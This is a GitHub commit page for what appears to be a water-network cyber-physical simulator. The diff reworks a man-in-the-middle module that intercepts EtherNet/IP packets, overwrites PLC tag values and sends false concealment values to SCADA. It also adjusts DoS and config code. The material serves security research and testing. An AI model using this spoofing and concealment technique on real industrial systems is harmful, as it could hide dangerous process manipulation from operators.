Skip to content

Commit 1591791

Browse files
authored
Merge pull request #32 from afmurillo/dev-paper
Multiple fixes on new attacks
2 parents f391eeb + a4f4c23 commit 1591791

File tree

13 files changed

+202
-86
lines changed

13 files changed

+202
-86
lines changed

dhalsim/network_attacks/concealment_netfilter_queue.py

Lines changed: 115 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -22,22 +22,116 @@ class ConcealmentMiTMNetfilterQueue(PacketQueue):
2222

2323
def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ):
2424
super().__init__(intermediate_yaml_path, yaml_index, queue_number)
25-
self.attacked_tag = self.intermediate_attack['tag']
25+
self.attacked_tags = self.intermediate_attack['tags']
26+
self.logger.debug('Attacked tags:' + str(self.attacked_tags))
2627
self.scada_session_ids = []
2728
self.attack_session_ids = []
2829
self.concealment_type = None
2930

3031
if 'concealment_data' in self.intermediate_attack.keys():
3132
if self.intermediate_attack['concealment_data']['type'] == 'path':
3233
self.concealment_type = 'path'
33-
self.concealment_data_pd = pd.read_csv(self.intermediate_attack['concealment_data'])
34+
self.concealment_data_pd = pd.read_csv(self.intermediate_attack['concealment_data']['path'])
3435
elif self.intermediate_attack['concealment_data']['type'] == 'value':
3536
self.concealment_type = 'value'
3637
else:
3738
raise ConcealmentError("Concealment data type is invalid, supported values are 'concealment_value' or 'concealment_path ")
3839

3940
self.logger.debug('Concealment type is: ' + str(self.concealment_type))
4041

42+
def get_attack_tag(self, a_tag_name):
43+
self.logger.debug('attacked tags: ' + str(self.attacked_tags))
44+
for tag in self.attacked_tags:
45+
if tag['tag'] == a_tag_name:
46+
return tag
47+
48+
def handle_attack(self, session, ip_payload):
49+
# We support multi tag sending, using the same session. Context varies among tags
50+
for tag in self.intermediate_attack['tags']:
51+
if session['tag'] == tag['tag']:
52+
modified = True
53+
if 'value' in tag.keys():
54+
self.logger.debug('attacking with value')
55+
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
56+
57+
elif 'offset' in tag.keys():
58+
self.logger.debug('attacking with offset')
59+
return translate_float_to_payload(
60+
translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
61+
ip_payload[Raw].load), modified
62+
63+
def handle_concealment(self, session, ip_payload):
64+
if self.intermediate_attack['concealment_data']['type'] == 'value' or \
65+
self.intermediate_attack['concealment_data']['type'] == 'offset':
66+
for tag in self.intermediate_attack['concealment_data']['concealment_value']:
67+
if session['tag'] == tag['tag']:
68+
modified = True
69+
if self.intermediate_attack['concealment_data']['type']:
70+
self.logger.debug('Concealment value is: ' + str(tag['value']))
71+
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
72+
elif self.intermediate_attack['concealment_data']['type'] == 'offset':
73+
self.logger.debug('Concealment offset is: ' + str(tag['offset']))
74+
return translate_float_to_payload(
75+
translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
76+
ip_payload[Raw].load), modified
77+
elif self.intermediate_attack['concealment_data']['type'] == 'path':
78+
self.logger.debug('Concealing to SCADA with path')
79+
exp = (self.concealment_data_pd['iteration'] == self.get_master_clock())
80+
concealment_value = float(self.concealment_data_pd.loc[exp][session['tag']].values[-1])
81+
self.logger.debug('Concealing with value: ' + str(concealment_value))
82+
modified = True
83+
return translate_float_to_payload(concealment_value, ip_payload[Raw].load), modified
84+
85+
def handle_enip_response(self, ip_payload):
86+
this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder)
87+
this_context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder)
88+
89+
self.logger.debug('ENIP response session: ' + str(this_session))
90+
self.logger.debug('ENIP response context: ' + str(this_context))
91+
92+
# When target is SCADA, the concealment session will be stored in attack_session_ids
93+
if self.intermediate_attack['target'].lower() == 'scada':
94+
for session in self.attack_session_ids:
95+
if session['session'] == this_session and session['context'] == this_context:
96+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
97+
return self.handle_concealment(session, ip_payload)
98+
99+
# Attack values to PLCs
100+
for session in self.attack_session_ids:
101+
if session['session'] == this_session and session['context'] == this_context:
102+
return self.handle_attack(session, ip_payload)
103+
104+
# Concealment values to SCADA
105+
for session in self.scada_session_ids:
106+
if session['session'] == this_session and session['context'] == this_context:
107+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
108+
return self.handle_concealment(session, ip_payload)
109+
110+
modified = False
111+
return ip_payload, modified
112+
113+
def handle_enip_request(self, ip_payload, offset):
114+
115+
this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder)
116+
tag_name = ip_payload[Raw].load.decode(encoding='latin-1')[54:offset]
117+
context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder)
118+
119+
self.logger.debug('this tag is: ' + str(tag_name))
120+
this_tag = self.get_attack_tag(tag_name)
121+
122+
if this_tag:
123+
#self.logger.debug('Tag name: ' + str(tag_name))
124+
self.logger.debug('Attack tag: ' + str(this_tag['tag']))
125+
session_dict = {'session': this_session, 'tag': this_tag['tag'], 'context': context}
126+
self.logger.debug('session dict: ' + str(session_dict))
127+
128+
if ip_payload[IP].src == self.intermediate_yaml['scada']['public_ip']:
129+
self.logger.debug('SCADA Req session')
130+
self.scada_session_ids.append(session_dict)
131+
else:
132+
self.logger.debug('PLC Req session')
133+
self.attack_session_ids.append(session_dict)
134+
41135
def capture(self, packet):
42136
"""
43137
This function is the function that will run in the thread started in the setup function.
@@ -47,65 +141,34 @@ def capture(self, packet):
47141
packet and delete the original checksum.
48142
:param packet: The captured packet.
49143
"""
144+
50145
try:
51146
p = IP(packet.get_payload())
52147
if 'TCP' in p:
53-
self.logger.debug('TCP packet')
54-
if len(p) == 118:
55-
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
56-
tag_name = p[Raw].load.decode(encoding='latin-1')[54:57]
57-
self.logger.debug('Tag name: ' + str(tag_name))
58-
self.logger.debug('Attack tag: ' + self.attacked_tag)
59-
if self.attacked_tag == tag_name:
60-
# This is a packet being sent to SCADA server, conceal the manipulation
61-
if p[IP].src == self.intermediate_yaml['scada']['public_ip']:
62-
self.logger.debug('SCADA Req session')
63-
self.scada_session_ids.append(this_session)
64-
else:
65-
self.logger.debug('PLC Req session')
66-
self.attack_session_ids.append(this_session)
67-
68148
if len(p) == 102:
69-
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
70-
71-
if this_session in self.attack_session_ids:
72-
#value = translate_payload_to_float(p[Raw].load)
73-
74-
if 'value' in self.intermediate_attack.keys():
75-
p[Raw].load = translate_float_to_payload(
76-
self.intermediate_attack['value'], p[Raw].load)
77-
elif 'offset' in self.intermediate_attack.keys():
78-
p[Raw].load = translate_float_to_payload(
79-
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
80-
'offset'], p[Raw].load)
81-
149+
p[Raw].load, modified = self.handle_enip_response(p)
150+
if modified:
82151
del p[IP].chksum
83152
del p[TCP].chksum
84-
85153
packet.set_payload(bytes(p))
86-
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
87-
88-
89-
elif this_session in self.scada_session_ids:
90-
self.logger.debug('Concealing to SCADA: ' + str(this_session))
91-
92-
if self.concealment_type == 'path':
93-
exp = (self.concealment_data_pd['iteration'] == self.get_master_clock())
94-
concealment_value = float(self.concealment_data_pd.loc[exp][self.attacked_tag].values[-1])
95-
self.logger.debug('Concealing with value: ' + str(concealment_value))
96-
p[Raw].load = translate_float_to_payload(concealment_value, p[Raw].load)
97-
elif self.concealment_type == 'value':
98-
concealment_value = self.intermediate_attack['concealment_data']['concealment_value']
99-
self.logger.debug('Concealment value is: ' + str(concealment_value))
100-
p[Raw].load = translate_float_to_payload(concealment_value, p[Raw].load)
101-
102-
del p[IP].chksum
103-
del p[TCP].chksum
104-
105-
packet.set_payload(bytes(p))
106-
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
154+
packet.accept()
155+
return
156+
157+
else:
158+
if len(p) == 118:
159+
self.logger.debug('handling request 57')
160+
self.handle_enip_request(p, 57)
161+
self.logger.debug('handled request')
162+
elif len(p) == 116:
163+
self.logger.debug('handling request 56')
164+
self.handle_enip_request(p, 56)
165+
self.logger.debug('handled request')
166+
else:
167+
packet.accept()
168+
return
107169

108170
packet.accept()
171+
109172
except Exception as exc:
110173
print(exc)
111174
if self.nfqueue:

dhalsim/network_attacks/simple_dos_attack.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,7 @@ def teardown(self):
131131
os.system('iptables -D INPUT -p icmp -j DROP')
132132
os.system('iptables -D OUTPUT -p icmp -j DROP')
133133

134+
self.run_thread = False
134135
nfqueue.unbind()
135136
self.logger.debug("[*] Stopping water level spoofing")
136137

@@ -170,4 +171,4 @@ def is_valid_file(parser_instance, arg):
170171
attack = SimpleDoSAttack(
171172
intermediate_yaml_path=Path(args.intermediate_yaml),
172173
yaml_index=args.index)
173-
attack.main_loop()
174+
attack.main_loop()

dhalsim/network_attacks/synced_attack.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,9 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
6363
if plc['name'] == self.intermediate_attack['target']:
6464
self.intermediate_plc = plc
6565

66+
if self.intermediate_attack['target'].lower() == 'scada':
67+
self.intermediate_plc = self.intermediate_yaml['scada']
68+
6669
self.attacker_ip = self.intermediate_attack['local_ip']
6770
self.target_plc_ip = self.intermediate_plc['local_ip']
6871

@@ -305,7 +308,6 @@ def main_loop(self):
305308
pass
306309

307310
self.set_sync(3)
308-
self.logger.debug("Setting sync in 3")
309311

310312
@abstractmethod
311313
def attack_step(self):

dhalsim/parser/config_parser.py

Lines changed: 20 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -92,9 +92,14 @@ class SchemaParser:
9292
Use(str.lower),
9393
'value'
9494
),
95-
'concealment_value': And(
96-
Or(float, And(int, Use(float))),
97-
)
95+
'concealment_value': [{
96+
'tag': And(
97+
str,
98+
string_pattern,
99+
),
100+
Or('value', 'offset', only_one=True,
101+
error="'tags' should have either a 'value' or 'offset' attribute."): Or(float, And(int, Use(float))),
102+
}],
98103
},
99104
{
100105
'type': And(
@@ -310,13 +315,14 @@ class SchemaParser:
310315
str,
311316
string_pattern
312317
),
313-
'tag': And(
314-
str,
315-
string_pattern,
316-
),
317-
'value': And(
318-
Or(float, And(int, Use(float)))
319-
),
318+
'tags': [{
319+
'tag': And(
320+
str,
321+
string_pattern,
322+
),
323+
Or('value', 'offset', only_one=True,
324+
error="'tags' should have either a 'value' or 'offset' attribute."): Or(float, And(int, Use(float))),
325+
}],
320326
'concealment_data': concealment_data
321327
},
322328
{
@@ -717,7 +723,7 @@ def generate_network_attacks(self):
717723
target = network_attack['target']
718724

719725
# Network attacks to SCADA do not need a target plc
720-
if target == 'scada':
726+
if target.lower() == 'scada':
721727
continue
722728

723729
target_plc = None
@@ -737,6 +743,9 @@ def generate_network_attacks(self):
737743
raise NoSuchTag(
738744
f"PLC {target_plc['name']} does not have all the tags specified.")
739745

746+
#todo: Checks for concealment_mitm
747+
748+
740749
return network_attacks
741750
return []
742751

dhalsim/python2/generic_scada.py

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -93,6 +93,10 @@ def __init__(self, intermediate_yaml_path):
9393
self.update_cache_flag = False
9494
self.plcs_ready = False
9595

96+
self.previous_cache = {}
97+
for ip in self.plc_data:
98+
self.previous_cache[ip] = [0] * len(self.plc_data[ip])
99+
96100
self.cache = {}
97101
for ip in self.plc_data:
98102
self.cache[ip] = [0] * len(self.plc_data[ip])
@@ -286,6 +290,7 @@ def update_cache(self, lock, cache_update_time):
286290

287291
while self.update_cache_flag:
288292
for plc_ip in self.cache:
293+
# Maintain old values if there could not be uploaded
289294
try:
290295
values = self.receive_multiple(self.plc_data[plc_ip], plc_ip)
291296
with lock:
@@ -295,8 +300,8 @@ def update_cache(self, lock, cache_update_time):
295300
"PLC receive_multiple with tags {tags} from {ip} failed with exception '{e}'".format(
296301
tags=self.plc_data[plc_ip],
297302
ip=plc_ip, e=str(e)))
298-
time.sleep(cache_update_time)
299303
continue
304+
300305
#self.logger.debug(
301306
# "SCADA cache updated for {tags}, with value {values}, from {ip}".format(tags=self.plc_data[plc_ip],
302307
# values=values,
@@ -322,7 +327,6 @@ def main_loop(self, sleep=0.5, test_break=False):
322327
while not self.get_sync(2):
323328
pass
324329

325-
# Wait until we acquire the first sync before polling the PLCs
326330
if not self.plcs_ready:
327331
self.plcs_ready = True
328332
self.update_cache_flag = True
@@ -334,7 +338,13 @@ def main_loop(self, sleep=0.5, test_break=False):
334338
results = [master_time, datetime.now()]
335339
with lock:
336340
for plc_ip in self.plc_data:
337-
results.extend(self.cache[plc_ip])
341+
if self.cache[plc_ip]:
342+
results.extend(self.cache[plc_ip])
343+
else:
344+
results.extend(self.previous_cache[plc_ip])
345+
346+
self.previous_cache[plc_ip] = self.cache[plc_ip]
347+
338348
self.saved_values.append(results)
339349

340350
# Save scada_values.csv when needed

dhalsim/python2/topo/complex_topo.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def generate_data(self, data):
154154
if 'network_attacks' in self.data.keys():
155155
for attack in data['network_attacks']:
156156
target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), None)
157-
if attack['target'] == 'scada':
157+
if attack['target'].lower() == 'scada':
158158
target = data['scada']
159159
if not target:
160160
raise NoSuchPlc("The target plc {name} does not exist".format(name=attack['target']))

examples/anytown_topology/anytown_concealment_mitm.yaml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ network_attacks:
66
value: 8.0
77
concealment_data:
88
type: value
9-
concealment_value: 42.0
9+
concealment_value:
10+
- tag:
1011
#type: path
1112
#path: concealment_test.csv
1213
trigger:

examples/anytown_topology/anytown_config.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,3 +9,4 @@ demand: pdd
99
log_level: debug
1010
demand_patterns: demands_anytown_small.csv
1111
#attacks: !include anytown_concealment_mitm.yaml
12+
attacks: !include anytown_dos.yaml

examples/ctown_topology/ctown_concealment_mitm.yaml

Lines changed: 0 additions & 11 deletions
This file was deleted.

0 commit comments

Comments
 (0)